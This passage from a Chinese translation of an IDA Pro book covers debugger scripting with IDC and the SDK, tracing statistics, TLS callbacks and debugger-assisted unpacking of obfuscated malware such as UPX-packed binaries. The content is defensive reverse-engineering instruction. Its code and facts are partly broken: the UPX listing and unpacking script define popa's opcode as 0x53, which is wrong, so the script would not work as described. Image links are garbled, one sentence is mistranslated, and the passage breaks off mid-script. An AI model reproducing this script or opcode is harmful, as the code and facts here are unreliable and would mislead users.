  • The following should return 1 to break, and 0 to continue execution.
    */
    static my_breakpoint_condition() {
    return AskYN(1, "my_breakpoint_condition activated, break now?") == 1;
    }

/*

  • This function is required to register my_breakpoint_condition
  • as a breakpoint conditional expression
    */
    static main() {
    auto addr;
    addr = ScreenEA();
    AddBpt(addr);
    SetBptCnd(addr, "my_breakpoint_condition()");
    }

`my_breakpoint_condition` 的复杂度完全由您决定。在这个例子中,每次遇到断点时,都会弹出一个对话框询问用户是否希望继续执行过程或暂停在当前位置。`my_breakpoint_condition` 返回的值被调试器用来确定是否应该尊重或忽略断点。

从 SDK 和通过使用脚本都可以对调试器进行程序控制。在 SDK 中,IDA 使用事件驱动模型,并在特定调试事件发生时向插件提供回调通知。不幸的是,IDA 的脚本功能并不便于在脚本中使用事件驱动范式。因此,Hex-Rays 引入了一系列脚本函数,允许在脚本中对调试器进行同步控制。使用脚本驱动调试器的基本方法是在脚本中启动调试器操作,然后等待相应的调试器事件代码。请注意,对同步调试器函数的调用(在脚本中您能做的所有事情)会阻塞所有其他 IDA 操作,直到调用完成。以下列表详细说明了可用于脚本的几个调试扩展:

**`long GetDebuggerEvent(long wait_evt, long timeout)`**

等待在指定秒数内(-1 表示无限期等待)发生调试器事件(由 `wait_evt` 指定)。返回一个事件类型代码,指示接收到的事件类型。使用 `WFNE_`*`xxx`*(WFNE 表示等待下一个事件)标志的组合来指定 `wait_evt`。可能的返回值在 IDA 帮助文件中有文档说明。

**b****`ool RunTo(long addr)`**

运行过程直到达到指定的位置或遇到断点。

**`bool StepInto()`**

单步执行过程,进入任何函数调用。

**`bool StepOver()`**

单步执行过程,跳过任何函数调用。如果遇到断点,此调用可能提前终止。

**`bool StepUntilRet()`**

运行直到当前函数调用返回或遇到断点。

**`bool EnableTracing(long trace_level, long enable)`**

启用(或禁用)生成跟踪事件。`trace_level` 参数应设置为在 *idc.idc* 中定义的 `TRACE_`*`xxx`* 常量之一。

**`long GetEvent`***`XXX`***`()`**

有许多函数可用于检索与当前调试事件相关的信息。其中一些函数仅适用于特定的事件类型。您应该测试 `GetDebuggerEvent` 的返回值,以确保特定的 `GetEvent`*`XXX`* 函数是有效的。

在导致进程执行的每个函数之后必须调用 `GetDebuggerEvent`,以便检索调试器的事件代码。如果不这样做,可能会阻止后续尝试单步执行或运行进程。例如,以下代码片段将只单步执行调试器一次,因为 `GetDebuggerEvent` 没有在 `StepOver` 调用之间被调用以清除最后的事件类型。

StepOver();
StepOver(); //this and all subsequent calls will fail
StepOver();
StepOver();


执行操作的正确方式是在每个调用之后跟随一个对 `GetDebuggerEvent` 的调用,如下例所示:

StepOver();
GetDebuggerEvent(WFNE_SUSP, −1);
StepOver();
GetDebuggerEvent(WFNE_SUSP, −1);
StepOver();
GetDebuggerEvent(WFNE_SUSP, −1);
StepOver();
GetDebuggerEvent(WFNE_SUSP, −1);


对 `GetDebuggerEvent` 的调用允许即使在选择忽略 `GetDebuggerEvent` 的返回值的情况下,执行也能继续。事件类型 `WFNE_SUSP` 表示我们希望等待导致被调试进程挂起的事件,例如异常或断点。你可能已经注意到没有函数可以简单地恢复挂起进程的执行。^([225]) 然而,通过在 `GetDebuggerEvent` 的调用中使用 `WFNE_CONT` 标志,可以实现相同的效果,如下所示:

GetDebuggerEvent(WFNE_SUSP | WFNE_CONT, −1);


这个特定的调用在首先通过从当前指令继续执行来恢复执行后,等待下一个可用的挂起事件。

提供了额外的函数来自动启动调试器和附加到正在运行的进程。有关这些函数的更多信息,请参阅 IDA 的帮助文件。

下面展示了用于收集每个执行指令地址的统计信息的简单调试器脚本的示例(假设调试器已启用):

static main() {
auto ca, code, addr, count, idx;
ca = GetArrayId("stats");
if (ca != −1) {
DeleteArray(ca);
}
ca = CreateArray("stats");
EnableTracing(TRACE_STEP, 1);
for (code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1); code > 0;
code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1)) {
addr = GetEventEa();
count = GetArrayElement(AR_LONG, ca, addr) + 1;
SetArrayLong(ca, addr, count);
}
EnableTracing(TRACE_STEP, 0);
for (idx = GetFirstIndex(AR_LONG, ca);
idx != BADADDR;
idx = GetNextIndex(AR_LONG, ca, idx)) {
count = GetArrayElement(AR_LONG, ca, idx);
Message("%x: %d\n", idx, count);
}
DeleteArray(ca);
}


脚本开始时![](httpatomoreillycomsourcenostarchimages854061.png)会检查是否存在名为`stats`的全局数组。如果找到,则删除该数组并重新创建,以便我们可以从一个空数组开始。接下来![](httpatomoreillycomsourcenostarchimages854063.png),在进入循环![](httpatomoreillycomsourcenostarchimages854093.png)以驱动单步执行过程之前,启用单步跟踪。每次生成调试事件时,都会检索相关事件的地址![](httpatomoreillycomsourcenostarchimages854095.png),从全局数组中检索与该地址关联的当前计数并增加![](httpatomoreillycomsourcenostarchimages854099.png),并用新的计数更新数组![](httpatomoreillycomsourcenostarchimages854101.png)。请注意,指令指针用作稀疏全局数组的索引,这可以节省在某种其他数据结构中查找地址的时间。一旦过程完成,就会使用第二个循环![](httpatomoreillycomsourcenostarchimages854103.png)来检索并打印所有具有有效值的数组位置的值。在这种情况下,只有那些从其中检索指令的地址的数组索引才会具有有效值。脚本通过删除用于收集统计信息的全局数组来完成![](httpatomoreillycomsourcenostarchimages854133.png)。

401028: 1
40102b: 1
40102e: 2
401031: 2
401034: 2
401036: 1
40103b: 1


通过对前面的示例进行轻微修改,可以收集有关在进程生命周期内执行了哪些类型指令的统计信息。以下示例显示了在第一个循环中所需的修改,以收集指令类型数据而不是地址数据:

for (code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1); code > 0;
code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1)) {
addr = GetEventEa();
mnem = GetMnem(addr);
count = GetHashLong(ht, mnem) + 1;
SetHashLong(ht, mnem, count);
}


而不是尝试对单个操作码进行分类,我们选择按助记符![](httpatomoreillycomsourcenostarchimages854061.png)分组指令。因为助记符是字符串,我们利用全局数组的哈希表功能来检索与给定助记符关联的当前计数![](httpatomoreillycomsourcenostarchimages854063.png),并将更新的计数![](httpatomoreillycomsourcenostarchimages854093.png)保存回正确的哈希表条目。此修改后的脚本的示例输出如下:

add: 18
and: 2
call: 46
cmp: 16
dec: 1
imul: 2
jge: 2
jmp: 5
jnz: 7
js: 1
jz: 5
lea: 4
mov: 56
pop: 25
push: 59
retn: 19
sar: 2
setnz: 3
test: 3
xor: 7


在第二十五章中,我们将重新探讨使用调试器交互功能作为辅助去混淆二进制文件的手段。

## 使用 IDA 插件自动化调试器操作

在第十六章中,你了解到 IDA 的 SDK 为开发各种可集成到 IDA 并完全访问 IDA API 的编译扩展提供了强大的功能。IDA API 提供了 IDC 中所有可用功能的超集,调试扩展也不例外。API 的调试扩展在`<SDKDIR>/dbg.hpp`中声明,包括迄今为止讨论的所有 IDC 函数的 C++对应版本,以及完整的异步调试器接口功能。

对于异步交互,插件通过挂钩`HT_DBG`通知类型(见*loader.hpp*)来获取调试器通知。调试器通知在`dbg.hpp`中找到的`dbg_notification_t`枚举中声明。

在调试器 API 中,与调试器交互的命令通常以成对定义,一个函数用于同步交互(如脚本),另一个函数用于异步交互。一般而言,函数的同步形式命名为`COMMAND()`,其异步对应版本命名为`request_COMMAND()`。`request_`*`XXX`*版本用于将调试器操作排队以供后续处理。一旦你完成异步请求的排队,你必须调用`run_requests`函数来启动请求队列的处理。随着你的请求被处理,调试器通知将被发送到任何通过`hook_to_notification_point`注册的回调函数。

使用异步通知,我们可以开发一个来自上一节的地址计数脚本的异步版本。第一个任务是确保我们挂钩和取消挂钩调试器通知。我们将在插件的`init`和`term`方法中这样做,如下所示:

//A netnode to gather stats into
netnode stats("$ stats", 0, true);

int idaapi init(void) {
hook_to_notification_point(HT_DBG, dbg_hook, NULL);
return PLUGIN_KEEP;
}

void idaapi term(void) {
unhook_from_notification_point(HT_DBG, dbg_hook, NULL);
}


注意,我们还选择声明了一个全局 netnode ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),我们将用它来收集统计数据。接下来,我们考虑当插件通过其分配的热键激活时,我们希望插件执行什么操作。我们的示例插件`run`函数如下所示:

void idaapi run(int arg) {
stats.altdel(); //clear any existing stats
request_enable_step_trace();
request_step_until_ret();
run_requests();
}


由于我们在本例中使用异步技术,我们必须首先提交一个请求来启用步骤跟踪 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png),然后提交一个请求来恢复调试的进程的执行。为了简化,我们将只对当前函数收集统计数据,因此我们将发出一个请求,直到当前函数返回 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。在我们的请求正确排队后,我们将通过调用`run_requests`来启动当前请求队列的处理 ![链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。

剩下的工作就是通过创建我们的`HT_DBG`回调函数来处理我们期望接收的通知。这里展示了一个只处理两个消息的简单回调:

int idaapi dbg_hook(void *user_data, int notification_code, va_list va) {
switch (notification_code) {
case dbg_trace: //notification arguments are detailed in dbg.hpp
va_arg(va, thid_t);
ea_t ea = va_arg(va, ea_t);
//increment the count for this address
stats.altset(ea, stats.altval(ea) + 1);
return 0;
case dbg_step_until_ret:
//print results
for
(nodeidx_t i = stats.alt1st(); i != BADNODE; i = stats.altnxt(i)) {
msg("%x: %d\n", i, stats.altval(i));
}
//delete the netnode and stop tracing
stats.kill();
request_disable_step_trace();
run_requests();
break;
}
}


对于每条执行的指令,我们直到关闭跟踪之前都会接收到 `dbg_trace` 通知 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。当接收到跟踪通知时,从 args 列表 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 中检索跟踪点的地址,然后用于更新适当的 netnode 数组索引 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png)。当进程遇到 `return` 语句并离开我们开始的函数时,会发送 `dbg_step_until_ret` 通知 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png)。这个通知是我们的信号,表明我们应该停止跟踪并打印我们收集到的任何统计信息。在销毁 netnode ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png) 并请求禁用跟踪 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png) 之前,使用循环 ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 遍历 `stats` netnode 的所有有效索引值。由于此示例使用异步命令,禁用跟踪的请求被添加到队列中,这意味着我们必须发出 `run_requests` ![图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854133.png) 以处理队列。关于与调试器同步交互与异步交互的重要警告是,在处理异步通知消息时,您绝对不应该调用函数的同步版本。

使用 SDK 与调试器的同步交互方式与脚本调试器非常相似。与我们在前几章中看到的许多 SDK 函数一样,调试器相关函数的名称通常与相关脚本函数的名称不匹配,因此您可能需要花费一些时间在 *dbg.hpp* 中查找所需的函数。脚本和 SDK 之间名称差异最大的是 SDK 的 `GetDebuggerEvent` 版本,在 SDK 中称为 `wait_for_next_event`。脚本函数和 SDK 之间的另一个主要区别是,SDK 中不会自动为您声明对应于 CPU 寄存器的变量。要从 SDK 访问 CPU 寄存器的值,您必须使用 `get_reg_val` 和 `set_reg_val` 函数分别读取和写入寄存器。

* * *

^([225]) 实际上,有一个名为 `ResumeProcess` 的宏,定义为 `GetDebuggerEvent(WFNE_CONT|WFNE_NOWAIT, 0)`。

# 摘要

IDA 可能不是调试器市场的最大份额,但它的调试器功能强大,并且与 IDA 的反汇编功能无缝集成。尽管调试器的用户界面,就像任何调试器一样,需要一些初始的适应,但它提供了用户在基本调试器中所需的所有基本功能。其优点包括脚本和插件功能,以及 IDA 反汇编显示的熟悉用户界面和其分析能力的强大。统一的反汇编器/调试器组合为执行静态分析、动态分析或两者的组合提供了一个坚实的工具。

# 第二十五章。反汇编器/调试器集成

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

像 IDA 这样的集成反汇编器/调试器组合应该是一个强大的工具,用于操作二进制文件,并在逆向工程过程中无缝地应用静态和动态技术。如果你理解每个工具的特性和局限性,以及它们组合时的表现,这一点是成立的。

在本章中,我们将讨论一些关于 IDA 静态方面与其动态方面交互的重要观点,并探讨可以使用 IDA 调试器来克服恶意分析中某些反调试(和反反汇编)技术的技术。在这方面,重要的是要记住,在恶意分析中,通常的目标不是运行恶意软件,而是获得足够质量的反汇编,以便静态分析工具可以接管。回想一下第二十一章中提到的,有许多专门设计来防止反汇编器正确执行的技术。面对这些反反汇编技术,调试器只是达到目的的一种手段。通过在调试器控制下运行混淆程序,我们将尝试获得一个去混淆的程序版本,然后我们更喜欢使用反汇编器来分析它。

# 背景

在继续之前,了解一些关于调试器辅助去混淆的背景信息可能是有用的。众所周知,一个混淆程序必须在开始其预期业务之前先去混淆自己。以下步骤提供了一个基本且有些简化的指南,用于二进制文件的动态去混淆。

1.  使用调试器打开一个混淆程序。

1.  在去混淆例程的末尾搜索并设置一个断点。

1.  从调试器启动程序,等待断点触发。

1.  利用调试器的内存转储功能将进程的当前状态捕获到文件中。

1.  在进程执行任何恶意操作之前终止它。

1.  对捕获到的进程图像进行静态分析。

大多数现代调试器都包含足够的功能来执行上述任务。OllyDbg^([226]) 是一个非常流行的仅适用于 Windows 的调试器,常用于此类工作。步骤 2 并不一定像听起来那么简单。可能需要结合多种工具,包括在反汇编器(如 IDA)中花费一些时间,或者在去混淆算法结束前进行大量的单步执行,才能正确地识别去混淆算法的结束。在许多情况下,去混淆的结束是由一种行为而不是特定的指令标记的。这种行为可能是一个指令指针值的巨大变化,表明跳转到了去混淆代码之外的某个位置。例如,在 `UPX` 打包的二进制文件的情况下,你只需要观察指令指针的值小于程序入口点地址,就可以知道去混淆已经完成,程序已经跳转到了新去混淆的代码。用通用术语来说,这个过程被称为 *原始入口点(OEP)识别*,OEP 是程序在没有被混淆的情况下开始执行时的地址。

更为复杂的是,一些现代混淆器能够将输入的可执行文件转换成等效的字节码程序,然后由混淆器生成的自定义虚拟机执行.^([227]) 使用此类虚拟化混淆器保护的可执行文件不能按照传统的期望来分析,即恢复原始二进制文件或定位原始入口点。这是由于原始的 x86(或其他处理器)指令没有嵌入到混淆的二进制文件中,因此无法恢复。

如果你不够小心,步骤 3 可能会变得很危险。无论如何,在允许恶意软件无阻碍地运行之前,你应该总是三思而后行,希望你已经正确设置了断点或断点条件。如果程序成功绕过你的断点(s),它可能会在你意识到发生了什么之前执行恶意代码。因此,在调试器控制下尝试去混淆恶意软件时,应该始终在一个你不怕出错的沙盒环境中进行。

步骤 4 可能需要一些努力,因为内存转储通常在调试器中受支持,而整个进程图像转储可能不受支持。Gigapede 的 OllyDump^([228]) 插件为 OllyDbg 添加了进程转储功能。请记住,从内存中转储的图像包含运行进程的内容,并不一定反映磁盘文件中静态二进制文件的原始状态。然而,在恶意软件分析中,目标通常是创建一个正确结构的图像文件,以便将其加载到反汇编器中进行进一步分析。

从混淆进程重构二进制图像的复杂部分之一是恢复程序的导入函数表。作为混淆过程的一部分,程序的导入表通常也会被混淆。因此,去混淆过程还必须注意将新去混淆的进程链接到所有必要的共享库和函数,以便正确执行。通常,这个过程留下的唯一痕迹是在进程内存图像中的某个位置的导入函数地址表。在将去混淆的进程图像导出到文件时,通常会采取步骤尝试在导出的进程图像中重建一个有效的导入表。为了做到这一点,导出图像的头部需要被修改,以指向一个新的导入表结构,该结构必须正确反映原始去混淆程序的所有共享库依赖关系。自动化此过程的流行工具是 MackT 开发的 ImpREC^([229])(导入重建)实用程序。与进程导出一样,请记住,在恶意软件分析中,提取独立的可执行文件可能不是你的主要目标,在这种情况下,重建有效的头部和导入表的重要性不如知道哪些函数已被解析以及这些函数的地址存储在哪里。

* * *

^([226]) 请参阅 [`www.ollydbg.de/`](http://www.ollydbg.de/).

^([227]) 关于此类混淆器之一 VMProtect 的讨论,请参阅 Rolf Rooles 在 [`www.usenix.org/event/woot09/tech/full_papers/rolles.pdf`](http://www.usenix.org/event/woot09/tech/full_papers/rolles.pdf) 发表的“解包虚拟化混淆器”。

^([228]) 请参阅 [`www.woodmann.com/collaborative/tools/index.php/OllyDump`](http://www.woodmann.com/collaborative/tools/index.php/OllyDump).

^([229]) 请参阅 [`www.woodmann.com/collaborative/tools/index.php/ImpREC`](http://www.woodmann.com/collaborative/tools/index.php/ImpREC).

# IDA 数据库和 IDA 调试器

我们需要首先理解,当你开始(和结束)调试会话时,调试器是如何处理你的数据库的。调试器需要一个进程映像来工作。调试器通过附加到现有进程或从可执行文件创建新进程来获取进程映像。IDA 数据库不包含有效的进程映像,在大多数情况下,也无法从数据库中重建有效的进程映像(如果可以的话,那么“文件 ▸ 生成文件 ▸ 创建 EXE 文件”可能就简单实现了)。当你从 IDA 启动调试器会话时,反汇编器端会通知调试器端原始输入文件的名称,调试器使用该名称来创建并附加到新进程。提供给调试器的信息包括反汇编格式、符号名称、数据格式以及你输入到数据库中的任何注释。一个需要理解的重要点是,你应用到数据库中的任何补丁(字节内容的变化)都不会反映在正在调试的进程中。换句话说,不可能将更改补丁应用到数据库中,并期望在启动调试器时观察到这些更改的效果。

同样,情况也相反。当你完成一个过程的调试并返回到反汇编模式时,默认情况下,数据库中反映的唯一变化将是外观上的(例如重命名的变量或函数)。任何内存变化,如自我修改的代码,都不会被拉回到数据库供你分析。如果你希望将任何内容,如新解密的代码,从调试器迁移回你的反汇编数据库,IDA 将允许你通过“调试器 ▸ 捕获内存快照”命令来完成。结果确认对话框如图 25-1 所示。

![内存快照确认对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854392.png.jpg)

图 25-1. 内存快照确认对话框

默认选项是将运行进程的加载器段复制到数据库中。“加载器段”是指由创建当前数据库时使用的 IDA 加载器模块加载到数据库中的段。在加密程序的情况下,这些段中可能包含被加密的数据,因此在反汇编器中几乎不可能分析。这些正是你希望从运行进程映像中复制回以利用在调试器控制下运行的进程执行的解密工作的段。

选择“所有段”会导致所有由调试器创建的段被复制回数据库。这些段包括为支持该过程而加载的所有共享库的内容,以及与过程相关的其他段,如栈和堆的内容。

当调试器用于连接到一个没有关联数据库的现有进程时,由于文件不是由 IDA 的加载器加载的,因此没有调试器段会被标记为加载器段。在这种情况下,您可以选择将所有可用的段捕获到一个新的数据库中。或者,您可以选择编辑段属性,将一个或多个段指定为加载器段。可以通过首先打开段窗口(视图 ▸ 打开子视图 ▸ 段)来编辑段属性。任何标记为加载器段的段将在程序分段窗口的 L 列中包含一个*L*。右键单击感兴趣的段并选择编辑段将打开图 25-2 中显示的段属性对话框。

![带有加载器段复选框的段编辑对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854395.png.jpg)

图 25-2. 带有加载器段复选框的段编辑对话框

选择加载器段复选框将段标记为加载器段,并允许它与其他所有加载器段一起复制到数据库中。

当您从打开的数据库创建一个进程,并在进行内存快照之前添加额外的加载器段时,段属性对话框也非常有用。例如,如果一个混淆进程将原始代码提取到堆(或内存映射块)中分配的内存块,您将希望在快照内存之前将该内存块标记为加载器段;否则,去混淆代码将不会复制回您的数据库。

# 调试混淆代码

我们多次提到,在调试器中加载一个混淆程序,让它运行直到混淆过程完成,然后对程序在去混淆状态下的内存进行快照,这似乎是获取程序去混淆版本的一个好策略。相对于调试,控制执行可能是更恰当的思考方式,因为我们实际上只是在观察代码运行状态,并在适当的时候进行内存快照。调试器只是恰好是我们完成这项任务的工具。至少这是我们希望的情况。在第二十一章中,我们讨论了几种混淆器用来防止我们获得程序清晰视图的反反汇编和反调试技术。现在是时候看看 IDA 的调试器如何帮助我们绕过这些技术了。

对于本章,我们将假设我们处理的混淆程序在二进制文件的有兴趣部分使用了某种形式的加密或压缩。获取该代码清晰图像的难度完全取决于在混淆过程中使用的任何反分析技术的复杂性以及可以开发的绕过这些技术的措施。然而,在我们开始之前,这里有一些在调试环境中处理恶意软件时应遵守的规则:

1.  保护你的网络和主机环境。始终在沙盒环境中工作。

1.  在初步分析时,尽可能使用单步执行。这可能很繁琐,但这是你防止程序逃离控制的最佳防御手段。

1.  在执行任何允许执行多个指令的调试器命令之前,始终三思而后行。如果你没有妥善计划,你正在调试的程序可能会遇到恶意代码部分。

1.  当可能时,使用硬件断点。在混淆代码中设置软件断点很困难,因为解混淆算法可能会修改你插入的断点指令或对代码区域计算校验和。^[[230]

1.  在首次检查程序时,最好让调试器处理程序生成的所有异常,这样你可以做出明智的决定,决定哪些异常传递给程序,哪些异常由调试器继续捕获。

1.  准备好经常重新启动调试,因为一个错误的步骤可能会让你走向失败的道路(例如,如果你允许进程检测到调试器)。详细记录安全运行的地址,以便你在重新启动进程时可以快速恢复。

通常情况下,当你第一次开始处理一个特定的混淆程序时,你应该始终采取非常谨慎的态度。在大多数情况下,你的主要目标应该是获取程序的解混淆版本。通过学习在需要设置断点之前你能走多远来加快解混淆过程应该是次要目标,而且这最好是在你第一次成功解混淆一个程序之后作为后续练习来保存。

## 启动进程

无论你使用 IDA 研究恶意可执行文件花费了分钟还是数小时,你可能会希望在第一次在调试器中启动它时尽快控制它。控制进程的最简单方法之一是在进程的入口点设置断点,这是在操作完成创建进程内存映像后执行的第一条指令。在大多数情况下,这将是由标签 `start` 标记的符号;然而,在某些情况下则不是。例如,PE 文件格式允许指定 TLS^([231]) 回调函数,这些函数旨在为每个线程本地的数据进行初始化和销毁任务,并且这些 TLS 回调函数在控制权传递到 `start` 之前就会被调用。

恶意软件作者对 TLS 回调函数非常了解,并已利用这些函数在程序的主入口点代码有机会运行之前执行代码。希望任何分析恶意软件的人都会忽略 TLS 回调的存在,从而导致无法理解正在分析的程序的真正行为。IDA 正确解析 PE 文件头,并识别出 PE 文件中包含的任何 TLS 回调,将这些函数添加到二进制文件的入口点列表中。图 25-3 显示了包含 TLS 回调的可执行文件的 Exports 窗口。图 25-3。

![显示 TLS 回调函数的 Exports 窗口](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854398.png.jpg)

图 25-3. 显示 TLS 回调函数的 Exports 窗口

关于 TLS 回调的底线是识别它们的存在,然后在每个 TLS 回调函数的开始处设置断点,以确保你在为时已晚之前控制住进程。

许多调试器提供选项来指定(如果有的话)在初始进程创建后何时(如果有的话)暂停调试器,IDA 也不例外。图 25-4 显示了 IDA 的调试器设置对话框(调试器 ▸ 调试器选项)的一部分。

![调试器暂停事件](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854401.png.jpg)

图 25-4. 调试器暂停事件

每个可用的选项都提供了在特定事件发生时自动暂停正在调试的进程的机会。以下列表总结了这些事件:

| **在调试开始时停止** 此选项提供了在进程创建后暂停调试器的最早机会。例如,在 Windows 7 上,这将在 `ntdll.dll` 中的 `RtlUserThread-Star``t` 函数的开始处暂停进程。这将暂停执行,在包括 TLS 回调函数在内的任何程序代码执行之前。 |
| --- |
| **在进程入口点停止** 当程序入口点被达到时,会使调试器暂停执行。这通常与你在 IDA 数据库中名为 `start`(或其等效名称)的符号相对应。在此事件发生之前,任何 TLS 回调函数都已经执行完毕。 |
| **在线程开始/退出时停止** 每当新线程开始或现有线程终止时,都会暂停调试器。在 Windows 系统中,当此事件触发时,调试器将在 *kernel32.dll* 中某个位置暂停。 |
| **在库加载/卸载时停止** 每当加载新库或卸载现有库时,都会暂停调试器。在 Windows 系统中,当此事件触发时,调试器将在 *kernel32.dll* 中某个位置暂停。 |
| **在调试消息停止** 每当进程使用调试打印功能输出消息时,都会暂停执行。在 Windows 系统中,这对应于对 `OutputDebugString` 的调用,并且执行将在 *kernel32.dll* 中暂停。 |

理解在每个调试器事件中进程可能暂停的位置对于防止你正在调试的进程执行超出你的预期非常重要。一旦你确定你将以可预测的方式控制进程,你就可以继续使用调试器进行一些工作了。

## 简单解密和解压缩循环

当我们说 *简单的解密和解压缩循环* 时,我们指的是没有使用嵌套混淆技术,并且你可以确定所有可能的退出点的循环。当你遇到这样的循环时,通过在所有可能的退出点设置断点并允许循环执行来通过它们是最简单的方法。考虑单步执行这样的循环一两次,以便了解它们;然后相应地设置断点。在循环之后立即设置断点时,你应该确保你设置断点的地址处的字节在循环过程中不会改变;否则,软件断点可能无法触发。如有疑问,请使用硬件断点。

如果你的目标是开发一个完全自动化的去混淆过程,你需要开发一个算法来识别去混淆过程何时完成。当满足此条件时,你的自动化解决方案可以暂停进程,此时你可以获取内存快照。对于简单的去混淆例程,识别去混淆阶段的结束可能就像注意指令指针或执行特定指令的值发生的大变化一样简单。例如,以下列表显示了混淆的 Windows 可执行文件的 `UPX` 解压缩例程的开始和结束:

UPX1:00410370 start proc near
UPX1:00410370 pusha
UPX1:00410371 mov esi, offset off_40A000
UPX1:00410376 lea edi, [esi-9000h]
UPX1:0041037C push edi
...
UPX1:004104EC pop eax
UPX1:004104ED popa ; opcode 0x53
UPX1:004104EE lea eax, [esp-80h]
UPX1:004104F2
UPX1:004104F2 loc_4104F2: ; CODE XREF: start+186↓j
UPX1:004104F2 push 0
UPX1:004104F4 cmp esp, eax
UPX1:004104F6 jnz short loc_4104F2
UPX1:004104F8 sub esp, 0FFFFFF80h
UPX1:004104FB jmp loc_40134C


这个例程的几个特征可以用来自动识别其完成。首先,例程从程序入口点开始,将所有寄存器推入堆栈 ![http://atomoreilly.com/source/no_starch_images/854061.png]。在程序解压缩后,例程的末尾发生弹出所有寄存器的互补操作 ![http://atomoreilly.com/source/no_starch_images/854063.png]。最后,控制权转移到新解包的程序 ![http://atomoreilly.com/source/no_starch_images/854093.png]。因此,自动化解压缩的一种策略是逐步跟踪程序,直到当前指令是 `popa`。因为逐步跟踪很慢,所以示例 25-1 中显示的 IDC 脚本采取了稍微不同的方法:扫描 `popa` 指令,然后运行程序到 `popa` 的地址:

示例 25-1. 简单 UPX 解包脚本

include <idc.idc>

#define POPA 0x53

static main() {
   auto addr, seg;
   addr = BeginEA();   //Obtain the entry point address
   seg = SegName(addr);
  while (addr != BADADDR && SegName(addr) == seg) {
     if (Byte(addr) == POPA) {
        RunTo(addr);
         GetDebuggerEvent(WFNE_SUSP, −1);
         Warning("Program is unpacked!");
        TakeMemorySnapshot(1);
         return;
        }
     addr = FindCode(addr, SEARCH_NEXT | SEARCH_DOWN);
   }
   Warning("Failed to locate popa!");
}

示例 25-1 中的脚本设计为在 IDA 数据库中启动,在启动调试器之前,并假设您之前已使用“调试器”>>“选择调试器”选择了一个调试器。该脚本负责启动调试器和获取新创建进程的控制权。这个脚本依赖于 UPX 的一些非常特定的功能,因此不适合用作通用去混淆脚本。然而,它确实演示了一些可能在后续工作中使用到的概念。该脚本依赖于解压缩例程位于程序段末尾的事实(通常命名为 `UPX1`),以及 `UPX` 没有使用任何反汇编同步技术的事实。

混淆混淆器

UPX 是目前使用中较受欢迎的混淆工具之一(可能是因为它是免费的)。然而,它的流行并不使其成为一个特别有效的工具。其有效性的主要缺点之一是 UPX 本身提供了一个命令行选项,可以将 UPX 打包的二进制文件恢复到其原始形式。因此,一个 cottage industry 已经发展起来,开发防止 UPX 自解包的工具。因为 UPX 在解包二进制文件之前会对压缩的二进制文件进行一些完整性检查,所以简单的更改会导致完整性检查失败,而不会影响压缩二进制文件的操作,这使得 UPX 的自解包功能失效。一种这样的技术涉及将默认 UPX 段名称更改为除 UPX0、UPX1 和 UPX2 之外的其他名称。因此,在您开发的任何解包脚本中避免将这些段名称硬编码进去是有用的。

脚本依赖于这些事实来逐条指令向前扫描,每次一个指令 ![http://atomoreilly.com/source/nostarch/images/854061.png],从程序入口点开始,只要下一个指令位于相同的程序段内 ![http://atomoreilly.com/source/nostarch/images/854063.png],并且直到当前指令是 `popa` ![http://atomoreilly.com/source/nostarch/images/854093.png]。一旦找到 `popa` 指令,调试器就会被调用 ![http://atomoreilly.com/source/nostarch/images/854095.png] 来执行直到 `popa` 指令地址的过程,此时程序已经被解压缩。最后一步是获取内存快照 ![http://atomoreilly.com/source/nostarch/images/854099.png],将解混淆后的程序字节拉回到我们的数据库以进行进一步分析。

对于自动化解包,一个更通用的解决方案是利用这样一个事实:许多解混淆例程被附加到二进制文件的末尾,并在解混淆完成后跳转到原始入口点,该入口点在二进制文件中发生得要早得多。在某些情况下,原始入口点可能位于完全不同的程序段中,而在其他情况下,原始入口点简单地位于解混淆代码使用的任何地址之前。Python 脚本 示例 25-2 提供了一种更基本的方法来运行一个简单的解混淆算法,直到它跳转到程序的原始入口点:

示例 25-2. 通用尝试运行直到遇到 OEP

start = BeginEA()
RunTo(start)
GetDebuggerEvent(WFNE_SUSP, −1)
EnableTracing(TRACE_STEP, 1)
code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1)
while code > 0:
